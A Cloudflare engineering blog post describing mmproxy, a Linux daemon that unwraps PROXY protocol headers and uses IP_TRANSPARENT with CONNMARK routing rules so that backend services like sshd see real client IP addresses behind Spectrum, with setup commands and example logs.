Working at Cloudflare took a lot of energy at the beginning to keep up the pace with the team. A team which is knowledgeable and keen to share the information is priceless and gives you the mission of reproducing the same with the colleagues asking you for something.

During the 1 year and 3 months I have been:

Furthermore, I'm still excited delivering my best, day after day, to create a better internet.

If you’re willing to join an impressive team and work for a very dynamic company to help creating a better internet, we’re looking for many different profiles in our different offices over the planet! Let's have a look!

Categories: Technology

mmproxy - Creative Linux routing to preserve client IP addresses in L7 proxies

Tue, 17/04/2018 - 23:11
mmproxy - Creative Linux routing to preserve client IP addresses in L7 proxies

In previous blog post we discussed how we use the TPROXY iptables module to power Cloudflare Spectrum. With TPROXY we solved a major technical issue on the server side, and we thought we might find another use for it on the client side of our product.

mmproxy - Creative Linux routing to preserve client IP addresses in L7 proxies
This is Addressograph. Source Wikipedia

When building an application level proxy, the first consideration is always about retaining real client source IP addresses. Some protocols make it easy, e.g. HTTP has a defined X-Forwarded-For header[1], but there isn't a similar thing for generic TCP tunnels.

Others have faced this problem before us, and have devised three general solutions:

(1) Ignore the client IP

mmproxy - Creative Linux routing to preserve client IP addresses in L7 proxies

For certain applications it may be okay to ignore the real client IP address. For example, sometimes the client needs to identify itself with a username and password anyway, so the source IP doesn't really matter. In general, it's not a good practice because...

(2) Nonstandard TCP header

A second method was developed by Akamai: the client IP is saved inside a custom option in the TCP header in the SYN packet. Early implementations of this method weren't conforming to any standards, e.g. using option field 28, but recently RFC7974 was ratified for this option. We don't support this method for a number of reasons:

  • The space in TCP headers is very limited. It's insufficient to store the full 128 bits of client IPv6 addresses, especially with 15%+ of Cloudflare’s traffic being IPv6.

  • No software or hardware supports the RFC7974 yet.

  • It's surprisingly hard to add support for RFC7947 in real world applications. One option is to patch the operating system and overwrite getpeername(2) and accept4(2) syscalls, another is to use getsockopt(TCP_SAVED_SYN) to extract the client IP from a SYN packet in the userspace application. Neither technique is simple.

(3) Use the PROXY protocol

mmproxy - Creative Linux routing to preserve client IP addresses in L7 proxies

Finally, there is the last method. HAProxy developers, faced with this problem developed the "PROXY protocol". The premise of this protocol is to prepend client metadata in front of the original data stream. For example, this string could be sent to the origin server in front of proxied data:

PROXY TCP4 192.0.2.123 104.16.112.25 19235 80\r\n

As you can see, the PROXY protocol is rather trivial to implement, and is generally sufficient for most use cases. However, it requires application support. The PROXY protocol (v1) is supported by Cloudflare Spectrum, and we highly encourage using it over other methods of keeping client source IP addresses.

Mmproxy to the rescue

But sometimes adding PROXY protocol support to the application isn't an option. This can be the case when the application isn’t open source, or when it's hard to edit. A good example is "sshd" - it doesn't support PROXY protocol and adding the support would be far from trivial. For such applications it may just be impossible to use any application level load balancer whatsoever. This is very unfortunate.

Fortunately we think we found a workaround.

mmproxy - Creative Linux routing to preserve client IP addresses in L7 proxies

Allow me to present mmproxy, a PROXY protocol gateway. mmproxy listens for remote connections coming from an application level load balancer, like Spectrum. It then reads a PROXY protocol header, opens a localhost connection to the target application, and duly proxies data in and out.

Such a proxy wouldn't be too useful if not for one feature—the localhost connection from mmproxy to the target application is sent with a real client source IP.

That's right, mmproxy spoofs the client IP address. From the application’s point of view, this spoofed connection, coming through Spectrum and mmproxy, is indistinguishable from a real one, connecting directly to the application.

This technique requires some Linux routing trickery. The mmproxy daemon will walk you through the necessary details, but there are the important bits:

  • mmproxy works only on Linux.
  • Since it forwards traffic over the loopback interface, it must be run on the same machine as the target application.
  • It requires kernel 2.6.28 or newer.
  • It guides the user to add four iptables firewall rules, and four iproute2 routing rules, covering both IPv4 and IPv6.
  • For IPv4, mmproxy requires the route_localnet sysctl to be set.
  • For IPv6, it needs a working IPv6 configuration. A working ping6 cloudflare.com is a prerequisite.
  • mmproxy needs root or CAP_NET_RAW permissions to set the IP_TRANSPARENT socket option. Once started, it jails itself with seccomp-bpf for a bit of added security.
How to run mmproxy

To run mmproxy, first download the source and compile it:

git clone https://github.com/cloudflare/mmproxy.git --recursive cd mmproxy make

Please report any issues on GitHub.

Then set up the needed configuration:

sudo iptables -t mangle -I PREROUTING -m mark --mark 123 -j CONNMARK --save-mark sudo iptables -t mangle -I OUTPUT -m connmark --mark 123 -j CONNMARK --restore-mark sudo ip rule add fwmark 123 lookup 100 sudo ip route add local 0.0.0.0/0 dev lo table 100 sudo ip6tables -t mangle -I PREROUTING -m mark --mark 123 -j CONNMARK --save-mark sudo ip6tables -t mangle -I OUTPUT -m connmark --mark 123 -j CONNMARK --restore-mark sudo ip -6 rule add fwmark 123 lookup 100 sudo ip -6 route add local ::/0 dev lo table 100

You will also need route_localnet to be set on your default outbound interface, for example for eth0:

echo 1 | sudo tee /proc/sys/net/ipv4/conf/eth0/route_localnet

Finally, verify your IPv6 connectivity:

$ ping6 cloudflare.com PING cloudflare.com(2400:cb00:2048:1::c629:d6a2) 56 data bytes 64 bytes from 2400:cb00:2048:1::c629:d6a2: icmp_seq=1 ttl=61 time=0.650 ms

Now, you are ready to run mmproxy. For example, forwarding localhost SSH would look like this:

$ sudo ./mmproxy --allowed-subnets ./cloudflare-ip-ranges.txt \ -l 0.0.0.0:2222 \ -4 127.0.0.1:22 -6 '[::1]:22' root@ubuntu:~# ./mmproxy -a cloudflare-ip-ranges.txt -l 0.0.0.0:2222 -4 127.0.0.1:22 -6 [::1]:22[ ] Remember to set the reverse routing rules correctly: iptables -t mangle -I PREROUTING -m mark --mark 123 -m comment --comment mmproxy -j CONNMARK --save-mark # [+] VERIFIED iptables -t mangle -I OUTPUT -m connmark --mark 123 -m comment --comment mmproxy -j CONNMARK --restore-mark # [+] VERIFIED ip6tables -t mangle -I PREROUTING -m mark --mark 123 -m comment --comment mmproxy -j CONNMARK --save-mark # [+] VERIFIED ip6tables -t mangle -I OUTPUT -m connmark --mark 123 -m comment --comment mmproxy -j CONNMARK --restore-mark # [+] VERIFIED ip rule add fwmark 123 lookup 100 # [+] VERIFIED ip route add local 0.0.0.0/0 dev lo table 100 # [+] VERIFIED ip -6 rule add fwmark 123 lookup 100 # [+] VERIFIED ip -6 route add local ::/0 dev lo table 100 # [+] VERIFIED [+] OK. Routing to 127.0.0.1 points to a local machine. [+] OK. Target server 127.0.0.1:22 is up and reachable using conventional connection. [+] OK. Target server 127.0.0.1:22 is up and reachable using spoofed connection. [+] OK. Routing to ::1 points to a local machine. [+] OK. Target server [::1]:22 is up and reachable using conventional connection. [+] OK. Target server [::1]:22 is up and reachable using spoofed connection. [+] Listening on 0.0.0.0:2222

On startup, mmproxy performs a number of self checks. Since we prepared the necessary routing and firewall rules, its self check passes with a "VERIFIED" mark. It's important to confirm these pass.

We're almost ready to go! The last step is to create a Spectrum application that sends PROXY protocol traffic to mmproxy, port 2222. Here is an example configuration[2]:

mmproxy - Creative Linux routing to preserve client IP addresses in L7 proxies

With Spectrum we are forwarding TCP/22 on domain "ssh.example.org", to our origin at 192.0.2.1, port 2222. We’ve enabled the PROXY protocol toggle.

mmproxy in action

Now we can see if it works. My testing VPS has IP address 79.1.2.3. Let's see if the whole setup behaves:

vps$ nc ssh.example.org 22 SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1

Hurray, this worked! The "ssh.example.org" on port 22 is indeed tunneled over Spectrum. Let's see mmproxy logs:

[+] 172.68.136.1:32654 connected, proxy protocol source 79.1.2.3:0, local destination 127.0.0.1:22

The log confirmed what happened - Cloudflare IP 172.68.136.1 has connected, advertised client IP 79.1.2.3 over the PROXY protocol, and established a spoofed connection to 127.0.0.1:22. The ssh daemon logs show:

$ tail /var/log/auth.log Apr 15 14:39:09 ubuntu sshd[7703]: Did not receive identification string from 79.1.2.3

Hurray! All works! sshd recorded the real client IP address, and with mmproxy’s help we never saw that it's actually traffic flowing through Cloudflare Spectrum.

Under the hood

Under the hood mmproxy relies on two hacks.

mmproxy - Creative Linux routing to preserve client IP addresses in L7 proxies

The first hack is about setting source IP on outgoing connections. We are using the well known bind-before-connect technique to do this.

Normally, it's only possible to set a valid source IP that is actually handled by a local machine. We can override this by using the IP_TRANSPARENT socket option. With it set, we can select arbitrary source IP addresses before establishing a legitimate connection handled by kernel. For example, we can have a localhost socket between, say 8.8.8.8 and 127.0.0.1, even though 8.8.8.8 may not be explicitly assigned to our server.

It's worth saying that IP_TRANSPARENT was not created for this use case. This socket option was specifically added as support for TPROXY module.

The second hack is about routing. Normally, response packets coming from the application are routed to the Internet - via a default gateway. We must prevent that from happening, and instead direct these packets towards the loopback interface. To achieve this, we rely on CONNMARK and an additional routing table selected by fwmark. mmproxy sets a MARK value of 123 (by default) on packets it sends, which is preserved at the CONNMARK layer, and restored for the return packets. Then we route the packets with MARK == 123 to a specific routing table (number 100 by default), which force-routes everything back to the loopback interface. We do this by totally abusing the AnyIP trick and assigning 0.0.0.0/0 to "local" - meaning that entire internet shall be treated as belonging to our machine.

Summary

mmproxy is not the only tool that uses this IP spoofing technique to preserve real client IP addresses. One example is OpenBSD's relayd "transparent" mode. Another is the pen load balancer. Compared to mmproxy, these tools look heavyweight and require more complex routing.

mmproxy is the first daemon to do just one thing: unwrap the PROXY protocol and spoof the client IP address on locally running connections going to the application process. While it requires some firewall and routing setup, it's small enough to make an mmproxy deployment acceptable in many situations.

We hope that mmproxy, while a gigantic hack, could help some of our customers with onboarding onto Cloudflare Spectrum.

However, frankly speaking - we don't know. mmproxy should be treated as a great experiment. If you find it useful, let us know! If you find a problem, please report it!
We are looking for feedback. If our users will find the mmproxy approach useful, we will repackage it and release as an easier to use tool.

Doing low level socket work sound interesting? Join our world famous team in London, Austin, San Francisco, Champaign and our elite office in Warsaw, Poland.

  1. In addition to supporting standard X-Forwarded-For HTTP header, Cloudflare supports custom a CF-Connecting-IP header. ↩︎

  2. Spectrum is available for Enterprise plan domains and can be enabled by your account manager. ↩︎

Categories: Technology

Pages

Additional Terms